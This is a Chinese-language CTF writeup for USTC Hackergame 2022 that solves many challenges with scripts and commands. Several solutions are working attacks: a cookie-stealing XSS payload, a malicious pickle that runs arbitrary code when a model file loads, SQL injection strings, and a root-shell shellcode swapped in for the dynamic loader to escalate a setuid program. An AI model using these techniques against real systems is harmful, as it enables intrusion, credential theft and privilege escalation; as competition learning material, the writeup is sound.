USTC Hackergame 2022 writeup

云水遥

16,723

Woc,何!

何语言不是什么新东西了,不信你看如下 bash:

echo powerCon\({1,2,3},10\)
# powerCon(1,10) powerCon(2,10) powerCon(3,10)
s = """
省略
"""
s = s.strip().splitlines()
for line in s:
    left = line.index("[")
    right = line.index("]")
    eq = line.index("=")
    ids = line[left+1:right].strip().split("|")
    num = line[eq+1:].strip()
    num = int(num)
    for i in ids:
        a[int(i)] = num

Neko quiZ

  1. 直接搜可以得到 USTC Nebula 成立于 2017 年 3 月
  2. 这个找到该主题的 presentation 文件,里面有是 Kdenlive(标题看不到但是菜单里面有写)
  3. 搜一下是 12.0
  4. 去 fs/exec.c blame 一下是 dcd46d897adb70d63e025f175a00a89797d31a43
  5. 用 shodan 搜一下是 sdf-org
  6. 可以搜到现行的通知,但是不是现行的 2011-01-01,这个文件里面提到上一版的通知作废,从网页存档找到 https://web.archive.org/web/20040428172225/http://netfee.ustc.edu.cn/~ylxia/help/faq/faq_feestandard.htm 所以是 2003-03-01

Secret in Home

  1. 直接 grep -r “flag{” 注意 ripgrep 是不行的,它不会搜隐藏目录(也不会搜被 gitignore 忽略的文件)必须指定 -. 才会搜
  2. 下载 https://github.com/rclone/rclone/blob/master/cmd/obscure/obscure.go 加入 fmt.Println(MustReveal("base64")) 运行得到 flag

Xcaptcha

想暂停很容易,开发人员工具开着 Sources 进去,点暂停就不会自动提交了

算好了提交,发现居然真的要在一秒内完成,可以用 userscript

(function() {
    'use strict';
    setTimeout(function() {
            let labels = document.querySelectorAll("label");
        if (labels.length == 0) return;
    for (let i = 1; i <= 3; ++ i) {
        let txt = labels[i-1].innerText;

        let e = txt.split(" ")[0];
        let a = e.split("+");
        let x = a[0], y = a[1];
        let sum = BigInt(x) + BigInt(y);
        let ip = document.querySelector("#captcha" + i);
        ip.value = sum.toString();

        setTimeout(function() {
        document.querySelector("#submit").click();
        }, 100);
    }
    }, 50);
})();

如果你没有插件,也想达到 userscript 的效果,使用 local overrides 功能(额,好像不太行,因为本题的页面不导入其他的 js)

旅行照片

第一题 exiftool 一下慢慢找就行了,为什么慢呢因为他的用词跟我想得不一样,比如手机品牌你可能认为是 Manufacturer 其实是 Make,闪光灯是 Flash

第二题 谷歌识图发现这个地方叫什么 ZOZO 海洋球场,根据场馆、道路、酒店的位置关系可以找到 APA 酒店,谷歌地图里面可以找到邮政号码

手机型号搜索相机型号 sm6115 juice 可以知道是 Redmi 9T

航班号码,提供这个的服务不多,就算有也很难放一年的,在 FR24 注册一个帐号,有 Paypal 不用真付钱就能体验下这个回放功能,把时钟回拨到对应的时间看一下从成田机场往北飞的飞机

猜数字

一看源码,怎么写了这么多。本来以为也是 Java 的 ECDSA 结果不是

看到以下可疑内容:

var isLess = previous < this.number - 1e-6 / 2;
var isMore = previous > this.number + 1e-6 / 2;
/* 省略 */
var isPassed = !isLess && !isMore;

输入的数字如果是 NaN 那么两个判断就都不成立猜中,再猜中一次拿到 flag

Leteks 机器人

第一问 \input{/flag1}

第二问 用 \catcode 把特殊字符 #_ 处理为普通字符再 \input

Flag 痕迹

他做的事情是把 do=revisions 禁止了,其他的应该都没动

首先有一个 &rev=,但是时间数字不完全一样就报不存在,不能用来枚举

查看 php 文件源码可以发现一个 at= 可以直接调出在这个时间看到的主页(也就是前一版),如果太前了会说不存在,如果存在,右下角就会显示该版本是什么时候编辑的

用这个二分查找,很快就找到了 /doku.php?id=start&rev=1665224461 有 flag

oj

1 the static

首先 #include “/proc/self/cwd/data/static.out” 可以读到第一行

之后通过人力 fuzz 发现:

const char *data = "R(
#include "test.txt"
)"

可以读第二行,写一个程序直接输出这两行就行了

2 the dynamic

汇编 incbin 可以加入其他文件内容:

https://gist.github.com/mmozeiko/ed9655cf50341553d282

把 6 个动态测试用例读取进来,通过 n 的低位区分输出对应的答案。额,本来是这样的,结果就 runtime error 了,再看源文件发现是 -O2 编译器优化直接把数字当指针用了。不想跟编译器搏斗于是:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define STR2(x) #x
#define STR(x) STR2(x)
// this aligns start address to 16 and terminates byte array with explict 0
// which is not really needed, feel free to change it to whatever you want/need
#define INCBIN(name, file) \
    __asm__(".section .rodata\n" \
            ".global incbin_" STR(name) "_start\n" \
            ".balign 16\n" \
            "incbin_" STR(name) "_start:\n" \
            ".incbin \"" file "\"\n" \
            \
            ".global incbin_" STR(name) "_end\n" \
            ".balign 1\n" \
            "incbin_" STR(name) "_end:\n" \
            ".byte 0\n" \
    ); \
    extern const __attribute__((aligned(16))) void* incbin_ ## name ## _start; \
    extern const void* incbin_ ## name ## _end; \

INCBIN(case0, "/proc/self/cwd/data/dynamic0.out");
INCBIN(case1, "/proc/self/cwd/data/dynamic1.out");
INCBIN(case2, "/proc/self/cwd/data/dynamic2.out");
INCBIN(case3, "/proc/self/cwd/data/dynamic3.out");
INCBIN(case4, "/proc/self/cwd/data/dynamic4.out");
INCBIN(case5, "/proc/self/cwd/data/static.out");

// 哈哈 gcc你自个儿玩去吧 其他语言解释器启动!
const char * pythoncode = "import sys\n\
q = []\n\
for _ in range(12):\n\
    q.append(int(input()))\n\
n = int(sys.argv[1])\n\
for i in range(6):\n\
    a, b = q[2*i: 2*i+2]\n\
    if n == a * b:\n\
        print(a)\n\
        print(b)";

int main() {
	char num[512];
	char buf[4096];
	int pid = getpid();

	scanf("%510s", num);
	sprintf(buf, "strings /proc/%d/exe | grep -E '^[0-9]{100}' | /usr/bin/python3 -c '%s' %s",
		pid, pythoncode, num);
	return system(buf);
}

所以你也可以不会写 c 用 python 完成,这样编译器是不会捣乱的

线路板

先用 kicad 的 Gerber Viewer 把文件全部打开,找到板子,看 flag 在哪个层里面

发现在 ebaz_sdr-F_Cu.gbr 这个文件里

可以发现遮挡 flag 的圈全部标了数字 D10,编辑源文件文本把 D10 对应的部分全部删除就能看到 flag

Gerber Layer Flag

Flag 自动机

存在反调试,但没什么用,先运行再 attach 就行

WinAPI 窗口程序,动态调试在 WndProc 里面处理按钮的地方下断点,按另外一个按钮

断下来之后单步执行,有 3 个判断,修改 ZF 寄存器,第一处改成不成立,后面改成成立,恢复执行就能在目录下发现 flag

微积分计算 XSS

在名字里面写入一个 <img src=0 onerror=this.parentNode.innerText=document.cookie>

再给他读取就行了

Wine

Wine 可以执行系统调用,做一个执行 Windows shellcode 的源文件,然后贴进去 msfvenom 生成的读取、执行的 linux x64 shellcode 编译提交

请校准时钟

随机数种子不会和当前时间相差多少(测试在 2000 以下)

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

double rand01() {
	return (double)rand() / RAND_MAX;
}

double sample() {
	int m = 0, n = 400000;
	for (int j = 0; j < n; ++ j) {
		double x = rand01();
		double y = rand01();
		if (x*x + y*y < 1.0) ++ m;
	}
	return (double)m / n * 4;
}

int main() {
	// disable buffering
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	unsigned tm;
	long p;
	printf("Estimate time: ");
	scanf("%u", &tm);
	printf("Enter first value in whole number: ");
	scanf("%ld", &p);

	unsigned clock_max = 2000U;
	unsigned s;
	for (s = tm; s < tm + clock_max; ++ s) {
		srand(s);
		double pi = sample();
		if (p == floor(1e5 * pi)) {
			printf("Seed is: %u\n", s);

			for (int i = 0; i < 4; ++ i) {
				double pi = sample();
				printf("%u next value: %1.5f\n", s, pi);
			}
		}
	}
}

第一个候选很可能是错的,但是可以错两次,就能确定了

神经网络

pt 文件是打包的 zip 文件,打开有个 data.pkl 会被反序列化,执行任意代码

import pickle

fd = open("data/hexout", "rt")
hexout = fd.read().strip()
fd.close()

fd = open("data.pkl.bak", "rb")
data = fd.read()
fd.close()

first = """import subprocess
fd = open("/tmp/r.json","wb")
fd.write(bytes.fromhex("{}"))
fd.close()
subprocess.Popen(["/bin/sh", "-c", "mkfifo /tmp/result.json; cat < /tmp/result.json > /dev/null; cat /tmp/r.json > /tmp/result.json"])
""".format(hexout)
second = """u=UnpicklerWrapper(io.BytesIO(bytes.fromhex("{}")))\nu.persistent_load=unpickler.persistent_load""".format(data.hex())
v = "exec('''{}''') or u.load()".format(first + second)

class poc(object):
    def __reduce__(self):
        return (eval, (v,)) # must return tuple or string

with open("data.pkl", "wb") as w:
    pickle.dump(poc(), w)

一开始想得挺简单的就是输出 json 文件再退出,结果告诉我报错,我想坏了不会还要模型能够执行才能过吧,于是就被我改成这个样子了

惜字如金

一开始没看懂,这文件修复不是很简单吗,把 LSP 标红的地方手动改掉

然后发现那个 key 不是占位的,而是真的有用,于是暴力 for 循环求解

for dups in range(m):
    for dupt in range(m-dups):
        for dupc in range(m-dups-dupt):
            for dupd in range(m-dups-dupt-dupc):
                for dupc2 in range(m-dups-dupt-dupc-dupd):
                    dupn = m-dups-dupt-dupc-dupd-dupc2
                    string = b"u" + b"s" * (1+dups) + b"t" * (1+dupt) + b"c" * (1+dupc) + b".e" + b"d" * (1+dupd) + b"u." + b"c" * (1+dupc2) + b"n" * (1+dupn)
                    hs = simple_hash(string)
                    if hs == target:
                        print(string)
                        break

其中的 simple_hash 就是 sha384 再把所有的字母去掉,求解出来是 usssttttttce.edddddu.ccccccnnnnnnnnnnnn

第二个定义了 26 元素数组,其中 aeiou 固定是 31,其他字母不知道,再用这个数组 3 次生成 p,所以 p 是由同一段东西重复 3 次得到的,中间有两个 a 的位置是 31

N = int(''.join(['255877945206268685758225801673342',
                 '992785361646269587137135214853754',
                 '886550982035142794210497165877879',
                 '580039847242541662956641303821238',
                 '094690165291113510002309824919965',
                 '575769641924765055087675446404464',
                 '357056205595528275052777855000807']))
add = 31 * 2^125 + 31*2^255
P.<x> = Zmod(N)[]
f = add + (1+2^130+2^260)*x
f.monic().small_roots(beta=0.5)
# [9806913797203243143149193384404865261]
p = f(9806913797203243143149193384404865261)
q = N//p

得到 p q 的值就可以签名了

无法加密

https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

我们能控制模式、key 和 iv,要求是字符串加密后等于自己

输入 A 可以让原文在 16 字符以下,只产生一个块

可以用 OFB(OFB 比 CBC 还简单),原文和 iv 的加密结果 xor 得到密文,我们让 iv 加密的结果是 0,用 key 解密全零得到输入的 iv

第二问只是对应块的加密/解密次数从 1 变成了 n

第三问 DSA 存在 weak key,比如 [0x01] * 8,加密和解密作用一样,两次加密相当于没加密

这个 key 是从 crc128 的前 8 字节取出来的,有 64 bits,所以问题就转化成如何让 crc128 结果前 8 位是 0101010101010101

因为 CRC 满足一个方程 c(x)+c(y)+c(z)=c(x+y+z) 这里 + 是异或

其实有更好用的 c(x+y)=c(x)+c(y)+c0 其中 c0 是同一长度全 0 的 CRC,如果变量数是偶数,c0 就消掉了

# sagemath
import random

poly=0x883ddfe55bba9af41f47bd6e0b0d8f8f
def crc128(data):
    crc = (1 << 128) - 1
    for b in data:
        crc ^^= b
        for _ in range(8):
            crc = (crc >> 1) ^^ (poly & -(crc & 1))
    return crc ^^ ((1 << 128) - 1)

target = int.from_bytes(b"\x01" * 8, "big")
Field = Zmod(2)
T = vector(map(int, bin(target)[2:].zfill(64) ), Field)

while True:
    base = []
    strs = []
    for _ in range(64):
        v = random.randbytes(16)
        c = crc128(v) >> 64

        strs.append(v)
        base.append(bin(c)[2:].zfill(64))

    vecs = matrix(vector(map(int, bs)) for bs in base)
    try:
        sol = vecs.solve_left(T)
        if str(sol).count("1"):
            print("found")
            print(sol)
            print(str(sol).count("1"))
            break
    except:
        pass

def xor(a, b):
    return bytes(x ^^ y for x, y in zip(a, b))

string = bytes(16)
for i, v in enumerate(sol):
    if v == 1:
        string = xor(string, strs[i])
print(string)

z = crc128(bytes(16))
print(bin((1 << 64) + crc128(string)))

比如这个 5acee4bb29ba40d141d5758ee03817e7 的 crc128 就满足条件

置换魔群

1

第一问求阶,他给你写了 order,求逆就行

from ast import literal_eval
from permutation_group import permutation_element
from pwn import remote

hostpair = ("202.38.93.111", 10114)
tkn = "[removed]"
e = 65537

io = remote(* hostpair)
r = lambda: print(io.recv().decode())
r()
io.sendline(tkn.encode())
r()
io.sendline(b"1")

for _ in range(15):
    line = ""
    while not "RSA public key" in line:
        line = io.recvline().decode()
    n = int( line[ line.index("=")+1: line.index(",") ] )
    print("n is", n)

    io.recvline()
    arr = literal_eval( io.recvline().decode() )
    c = permutation_element(n, arr)

    s = c ** pow(e, -1, c.order())
    io.sendline(str(s))
io.interactive()

2

第二问要做离散对数,一个置换可以分解成轮换列表(这个他源码里也给了)

如果一个元素在这个列表里面,那么作用一次置换它就会移动一位,所以作用次数 x 和对应元素的位置,在模循环长度的意义下是线性关系,对每个列表(1 和重复的不要)求余数,再用中国剩余定理合并

from ast import literal_eval
from permutation_group import permutation_element
from pwn import remote

hostpair = ("202.38.93.111", 10114)
tkn = "莫邪效果,特招 token"
e = 65537

io = remote(* hostpair)
r = lambda: print(io.recv().decode())
r()
io.sendline(tkn.encode())
r()
io.sendline(b"2")

for _ in range(15):
    line = ""
    while not "DH public key" in line:
        line = io.recvline().decode()
    n = int( line[ line.index("=")+1: line.index(",") ] )
    print("n is", n)
    gs = line[ line.rindex("=") + 1 : ]
    glist = literal_eval( gs )
    g = permutation_element(n, glist)

    my = io.recvline().decode()
    my = my[my.index("=") + 1:]
    mylist = literal_eval(my)
    c = permutation_element(n, mylist)

    std = g.standard_tuple
    ts = []
    mods = []
    fsts = []
    for t in std:
        mod = len(t)
        if mod not in mods and mod != 1:
            ts.append(t)
            mods.append(mod)
            fsts.append(t[0])
    rems = [0] * len(mods)

    for i, fst in enumerate(fsts):
        at = mylist.index(fst) + 1
        assert at in ts[i]
        rems[i] = mods[i] - ts[i].index(at)
    print(rems, mods)

    x = crt(rems, mods)
    io.sendline(str(x))
io.interactive()

网上的那些 crt 算法很可能不能处理模不互质的,还是用 sage 吧

3

这位更是重量级,可以说是本次代码量最大的了

需要找到两组数,他们的和 <= n(1000 到 2000)然后乘积 >= 私钥的上界 up

我是这样做的,先找到一些数的和 <= 2n 再分解

找数的过程是对于小的质数枚举指数,对于大的质数从小到大添加,直到加不下

分解的过程就是贪心

from ast import literal_eval
from pwn import remote
from permutation_group import permutation_group, permutation_element
hostpair = ("202.38.93.111", 10114)
tkn = "泰阿效果,特招 token"

def build_appr(n, up):
    primes = []
    pro, p = 1, 1
    while pro < up:
        p = next_prime(p)
        primes += [p]
        pro *= p
    for _ in range(20):
        p = next_prime(p)
        primes.append(p)
    # remove 2, 3, 5, 7
    primes = primes[4:]
    
    values = []
    for p2 in range(12):
        for p3 in range(8):
            for p5 in range(5):
                for p7 in range(5):
                    sum4 = 2^p2 + 3^p3 + 5^p5 + 7^p7
                    pro4 = 2^p2 * 3^p3 * 5^p5 * 7^p7
                    extra = []

                    for p in primes:
                        if sum4 + sum(extra + [p]) <= 2*n:
                            extra.append(p)
                        else:
                            break

                    pro = pro4 * prod(extra)
                    new = []
                    if p2: new += [2^p2]
                    if p3: new += [3^p3]
                    if p5: new += [5^p5]
                    if p7: new += [7^p7]
                    sol = set(new + extra)
                    values.append((pro, sol))
    return sorted(values, key=lambda u: -u[0])[:10]

def build_bins(n, best):
    bigs = sorted(list(best), key=lambda v: -v)
    bin0 = []

    for v in bigs:
        if sum(bin0 + [v]) <= n:
            bin0.append(v)
    remain = best - set(bin0)
    smalls = sorted(list(remain))
    for v in smalls:
        if sum(bin0 + [v]) <= n:
            bin0.append(v)
    bin1 = list(best - set(bin0))
    if sum(bin1) > n:
        assert False
    return bin0, bin1

def to_list(n, lprime):
    out = [None] * n
    base = 0
    for prime in lprime:
        first_elm = base + 1
        for i in range(prime-1):
            out[base + i] = first_elm + i + 1
        out[base+prime-1] = first_elm
        base += prime
    for i in range(base, n):
        out[i] = i+1
    return out

def to_gen(n, ls):
    li = to_list(n, ls)
    return permutation_element(n, li)

def dlog(gen, c):
    std = gen.standard_tuple
    ts = []
    mods = []
    fsts = []
    for t in std:
        mod = len(t)
        if mod not in mods and mod != 1:
            ts.append(t)
            mods.append(mod)
            fsts.append(t[0])
    rems = [0] * len(mods)
    for i, fst in enumerate(fsts):
        at = c.permutation_list.index(fst) + 1
        assert at in ts[i]
        rems[i] = mods[i] - ts[i].index(at)
    return crt(rems, mods)

io = remote(* hostpair)
r = lambda: print(io.recv().decode())
r()
io.sendline(tkn.encode())
r()
io.sendline(b"3")

for _ in range(15):
    line = ""
    while not "DH public key" in line:
        line = io.recvline().decode()
    n = int( line[ line.index("=")+1: ] )
    print("n is", n)
    
    line = io.recvline().decode()
    assert "upper bound" in line
    up = int( line[ line.index("is")+3 : ] )
    print("upper is", up)
    print("up bits:", int(up).bit_length())
    
    vals = build_appr(n, up)
    for pro, appr in vals:
        print("P bits:", int(pro).bit_length())
        #assert pro >= up, "p is small"
        try:
            bin0, bin1 = build_bins(n, appr)
        except:
            continue
        else:
            break

    g0, g1 = to_gen(n, bin0), to_gen(n, bin1)
    m0, m1 = g0.order(), g1.order()
    M = lcm(m0, m1)
    #assert M >= up, "m is small"
    
    io.sendlineafter(b"): ", str(g0).encode())
    line = io.recvline().decode()
    assert "public key" in line
    spk = line[line.index(":")+1: ]
    arr = literal_eval(spk)
    c0 = permutation_element(n, arr)
    
    io.sendlineafter(b"): ", str(g1).encode())
    line = io.recvline().decode()
    assert "public key" in line
    spk = line[line.index(":")+1: ]
    arr = literal_eval(spk)
    c1 = permutation_element(n, arr)
    
    d0 = dlog(g0, c0)
    d1 = dlog(g1, c1)
    r = crt(d0, d1, m0, m1)
    io.sendlineafter(b"secret: ", str(r).encode())
    print(io.recvline().decode())
    print(io.recvline().decode())
print("end")
print(io.recv().decode())

因为两个函数都不是靠谱的,所以这其实是一个概率算法,这又不是 ACM,尝试十几次能过

光影

有用的东西在那个 fragment-shader.js 里面,找到 sceneSDF 这个函数

float t1 = t1SDF(pTO.xyz);
float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
/* edited */
float t5 = t5SDF(p - vec3(36.0, 0.0, 15.0), vec3(0.0, 0.0, 0.0), 2.0);

奇幻漂流

SDF 有向距离函数是一种用来绘图的函数,t1 到 t4 编码了 flag,而 t5SDF 很简单,推测 t5 是绘制遮罩的函数,发现改掉后面一个 vec3 的值可以缩小遮罩,但还是挡住了一点,更改前一个 vec3 的值把遮罩移开就能看到 flag

急!

可以说是本次耗时排名第一名

更改提交内容可以发现注入在用户名,引号是单引号,查不到东西或者运行出错都会返回最高难度(也就是 9 字母)

输入 1' UNION SELECT xxx--

之后发现有 length 函数,没有 chr 函数,测试有没有 sqlite_version 发现有,所以是 sqlite

sqlite 有一个隐藏表 sqlite_master 作用相当于 information_schema

CREATE TABLE sqlite_schema(
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

读一下第一个表名,发现是 flag

读一下 sql 字符串长度,发现是 29,左括号在 19,读一下字段名也是 flag

接下来读取 flag,长度是 20,开头 5 结尾 1 已经知道了,所以需要读 14 位,发超过 28 个请求

以上说的读取数值的方法都是先读除 10 余数,如果不全是字母,那么已经读到了,如果全是字母需要判断是 0 是 9

再读 10 位,这里比较方便的是除 10 减 3,这样不会全是字母

把所有的 ascii 码读出来就得到 flag 了

读取 flag 的输入:1' UNION SELECT unicode(substr(flag,20,1))%10 FROM flag LIMIT 1--

为什么是耗时之最,因为 60 多个请求说多不多说少不少,可能编写脚本最后还不如手动刷呢

Solidity

本来想靠这个刷个一血玩,但是 2 涉及的细节太多了,我又一直不做 3,所以没刷到

1 storage

基础状态变量的使用,任何教程都会教你

2 revert

这里发现数据范围是 65536,明显是要通过 gas 传递信息。一般情况下被调用合约是不知道这笔交易总共 gas 值,但是 eth_call 固定给五千万 gas,因此可以在 recall 中获取剩余 gas 通过消耗值进行计算。

说着容易,实现难。因为 EVM 这个东西很有历史了,不少指令都是动态消费,尤其是涉及到内存的。有一个很简单的控制 gas 消费方法,在合约里面 call 一个 out of gas 的函数,因为 call 可以指定 gas 限制。

用 $\text{center} + [\text{gasleft}_\text{center} - \text{gasleft}(n)] / \text{div}$ 插值 n,center 为 32768

rom web3 import Web3
from web3.middleware.geth_poa import geth_poa_middleware
import requests
import json

w3 = Web3(Web3.IPCProvider("/dev/shm/geth/geth.ipc"))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
w3.eth.default_account = w3.eth.accounts[0]

def load_abi(file):
    fd = open(file, "rt")
    obj = json.load(fd)
    fd.close()
    return obj["abi"]

chall = "0x07AD37403517c747B61F41560373da9C00B17C63"
solve = "0x26A863f5F56a904bb9a17944222C71295967C978"
chall_abi = load_abi("chall.json")
solve_abi = load_abi("solve.json")

callgas = 50000000
c = w3.eth.contract(address=chall, abi=chall_abi)
s = w3.eth.contract(address=solve, abi=solve_abi)

def trace_transaction(hash: str):
    assert isinstance(hash, str)

    rpc = "http://127.0.0.1:8545"
    payload = {
            "jsonrpc": "2.0",
            "method": "debug_traceTransaction",
            "params": [hash, {
                "disableStorage": True,
                "enableMemory": True,
                "disableStack": False,
                "fullStorage": False
                }],
            "id": 0
        }
    res = requests.post(rpc, json=payload)
    obj = json.loads(res.text)
    assert "result" in obj
    return obj["result"]

def find_gas_left(trace):
    logs = trace["structLogs"]
    
    i = 0
    for i, log in enumerate(logs[:-1]):
        if log["op"] == "GAS" and ("CALL" not in logs[i+1]["op"]):
            break
    assert i < len(logs) - 1
    return logs[i]["gas"] - logs[i]["gasCost"]

def test(n: int):
    txhash = c.functions.test(solve, n).transact({ "gas": callgas })
    w3.eth.wait_for_transaction_receipt(txhash)
    trace = trace_transaction(txhash.hex())
    gas = find_gas_left(trace)
    return gas

通过动态调试和微调最后得出数值和代码如下:

//SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.17;
// interface 省略,下同
contract Solve is MemoryMaster {
    uint constant size = 65536 * 32;
    function outOfGas() external {
        uint b;
        assembly {
            b := mload(size)
        }
    }

    function memorize(uint16 n) public {
        uint cost;
        unchecked {
            cost = 100 * uint(n);
        }
        try this.outOfGas{gas: cost}() {
        } catch (bytes memory) {
        }
    }

    int constant big = 100000000000000000000;
    int constant center = 45963122;
    function calculate(uint256 g) public view returns (uint16) {
        int sg = int(g);
        int diff = (center - sg) * 55000 * big / 5414063;
        diff = diff / big;
        int n = 32768 + diff;
        if (n < 32768) {
            n -= 1;
        }
        return uint16(uint(n));
    }

    function recall() public view returns (uint16) {
        uint g;
        assembly {
            g := gas()
        }
        return calculate(g);
    }
}

这个合约对 0, 1, 32768 的值是错的,但是不要紧,能过

3 view

这个简单,EVM 对于同一个交易中摸过的存储位置读写都有大量 gas 减免(2 中因为 revert 过,根据标准这个集合也要倒回去,这个方法不能用)。建立 256 个 slot 在 memorize 读一遍,recall 再读一遍并测量 gas,如果之前摸过(对应 n 位置上是 1)只消耗 100 gas,位置是 0 就消耗 2100 gas

//SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.17;

contract Mem3 is MemoryMaster {
    uint[256] bits;

    function memorize(uint256 n) external view {
        uint s = 0;
        for (uint i = 0; i < 256; ++ i) {
            if (n & 0x1 == 0x1) {
                // this slot is touched
                s += bits[i];
            }
            n = n / 2;
        }
    }

    function measure(uint i) internal view returns (bool) {
        uint g0 = gasleft();
        uint b = bits[i];
        uint g1 = gasleft();
        return (g0 - g1) < 2000;
    }

    function recall() external view returns (uint256) {
        uint s = 0;
        for (uint i = 0; i < 256; ++ i) {
            unchecked {
                s = s * 2;
            }
            if (measure(255-i)) {
                s += 1;
            }
        }
        return s;
    }
}

片上系统

用 PulseView 打开,右边添加解码器选择添加 SD 卡 SPI 模式,其中最密集的那条信号是时钟 CLK,大部分时间是平的但有尖刺是片选 CS,剩下的哪个是输入输出试一下,正确的可以解码出数据第一个扇区

传送数据的结尾有一些字节,选中导出得到第一个 flag

之后选择 MISO 也就是 SD 卡发送到主机那条线的数据全部导出成十六进制,根据第一个扇区的经验,一串 FF 后面跟一个 FE 是数据开始的标志,从后面读取 512 bytes,恢复剩余三个扇区。找一个工具反编译 RISCV 二进制,这里就各显神通了,我用的是 rizin-cutter

第一个扇区就是做 IO 把读到的数据复制到内存 0x20001000 再跳转,没什么可说的

剩余扇区有一个子程序(+0x18)做的事情是输出一个 int 的十六进制

主程序在 +0x6c,flag 输出逻辑在最后,找到调用子程序的地方,之前输出 flag{ 之后输出 }

RISC-V Assembly

flag 括号里面的内容就是三个 int 的十六进制

传达文件

有一个 /chall 有 SUID 只能运行不能看,有一个 /flag2 没有权限读

发现 /lib64/ld-linux.so 是可以动的,改成别的名字 /chall 就运行不了,所以 chall 是一个动态文件

我知道有 SUID 不能被 LD_PRELOAD,但是 ld 还是得运行的

本地做一个 PIE 的文件,替换掉那个 ld-linux.so 再执行 /chall 就有 root 了

; http://shell-storm.org/shellcode/files/shellcode-77.html
section .text
    global _start

_start:
    xor     rdi, rdi
    mov     al, 0x69
    syscall

    xor     rdx, rdx
    mov     qword rbx, '//bin/sh'
    shr     rbx, 0x8
    push    rbx
    mov     rdi, rsp
    xor     rax, rax
    push    rax
    push    rdi
    mov     rsi, rsp
    mov     al, 0x3b
    syscall
; nasm -felf64 sush.asm
; ld -s -pie --no-dynamic-linker sush.o

彼方

在两个 chroot 里面传递 [32]byte,不能用 socket

搜到一个很好用的消息队列

/* 发送
 * client.c: Client program
 *           to demonstrate interprocess communication
 *           with POSIX message queues
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <mqueue.h>

#define SERVER_QUEUE_NAME   "/sp-example-server"
#define QUEUE_PERMISSIONS 0660
#define MAX_MESSAGES 10
#define MAX_MSG_SIZE 256
#define MSG_BUFFER_SIZE MAX_MSG_SIZE + 10

int main (int argc, char **argv)
{
    mqd_t qd_server;
    struct mq_attr attr;
    attr.mq_flags = 0;
    attr.mq_maxmsg = MAX_MESSAGES;
    attr.mq_msgsize = MAX_MSG_SIZE;
    attr.mq_curmsgs = 0;

sleep(2);

    if ((qd_server = mq_open (SERVER_QUEUE_NAME, O_WRONLY)) == -1) {
        perror ("Client: mq_open (server)");
        exit (1);
    }

    char buf[512];

    FILE * inf = fopen("/secret", "r");
    if (! inf) {
	    puts("no open");
	    exit(1);
	}
    fgets(buf, 512, inf);
    fclose(inf);

        // send message to server
        if (mq_send (qd_server, buf, strlen (buf) + 1, 0) == -1) {
            perror ("Client: Not able to send message to server");
	    exit (1);
        }
}
/* 接收
 * server.c: Server program
 *           to demonstrate interprocess commnuication
 *           with POSIX message queues
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>

#include <fcntl.h>
#include <sys/stat.h>
#include <mqueue.h>

#define SERVER_QUEUE_NAME   "/sp-example-server"
#define QUEUE_PERMISSIONS 0660
#define MAX_MESSAGES 10
#define MAX_MSG_SIZE 256
#define MSG_BUFFER_SIZE MAX_MSG_SIZE + 10

int main (int argc, char **argv)
{
    mqd_t qd_server;
    struct mq_attr attr;

    attr.mq_flags = 0;
    attr.mq_maxmsg = MAX_MESSAGES;
    attr.mq_msgsize = MAX_MSG_SIZE;
    attr.mq_curmsgs = 0;

    if ((qd_server = mq_open (SERVER_QUEUE_NAME, O_RDONLY | O_CREAT, QUEUE_PERMISSIONS, &attr)) == -1) {
        perror ("Server: mq_open (server)");
        exit (1);
    }
    char in_buffer [MSG_BUFFER_SIZE];

	// get the oldest message with highest priority
	if (mq_receive (qd_server, in_buffer, MSG_BUFFER_SIZE, NULL) == -1) {
	    perror ("Server: mq_receive");
	    exit (1);
	}
	puts(in_buffer);
}

量子

可以说是本次费眼排名第一名

第一关量子态全输入 1,基底全部输入 +,然后数返回的 + 个数的 1

我一开始以为可以给 128,结果不行,必须按照他 + 的个数给出

然后你的浏览器就卡了,因为载入一副很大的图像

根据他说的算法,中间部分是一个计算 sum(input[i] & flag[i]) 的装置,flag 是 0 到 127 那么剩下的一个就是输出了

如果 flag[i] 是 0,那么 input[i] 不论是什么值都是 0,输出就不需要获取 flag[i] 的值,表现在图上就是底下的蓝线没有连接在 flag[i] 上。反之 1 对应的位有蓝线连接

人工录入所有线的连接情况,对应 flag 位置的 01 情况,解码得到 flag

为什么说费眼呢,因为格多线细,很容易跟丢。每隔 8 位在 ascii 最高位那条空的线上打 X 可以避免视线跟丢

RoboGame

我给翻译翻译:

有 10 个 byte,每次设置一个位置上的 byte 就会导致两边相邻(如果在边缘,就是另外一边的)的 bytes 被设定为一个值,这个值只和当前设置了几个 bytes 有关

实验可以发现如果写入多个 bytes,只有第一个 byte 有用,其他的位置还是 0 没有用。在一个写入指令后面添加没有用的 0 可以让随机值不随机,具体来说添加 7 个 0 可以让每次相邻的位置被写入的值都是 0x11 (= 17 dec)

write 2 8 17 00 00 00 00 00 00 00
write 5 8 17 00 00 00 00 00 00 00
write 8 8 17 00 00 00 00 00 00 00

写入 3 次就过关了,可以从 0 到 9 读出 flag 的值,但只是开头的。题目中提到了每个 ASCII 字符都是一个通信端口,所以 ABC-T 都可以读出 flag,再把 :;<=>?@ 读取就完整了

企鹅

第一问密码是 1000

第二问直接模拟太慢了,一秒钟只能跑十几个,用 tqdm 看进度居然要跑1小时22分才能跑完

把他给的每个移动转换成矩阵,这样就快很多了,不到 1 分钟就能跑完,结果是 12166


Newer: The 2nd Geekgame writeup

Older: Shadowsocks Transparent Proxy

Back to: Listing G2R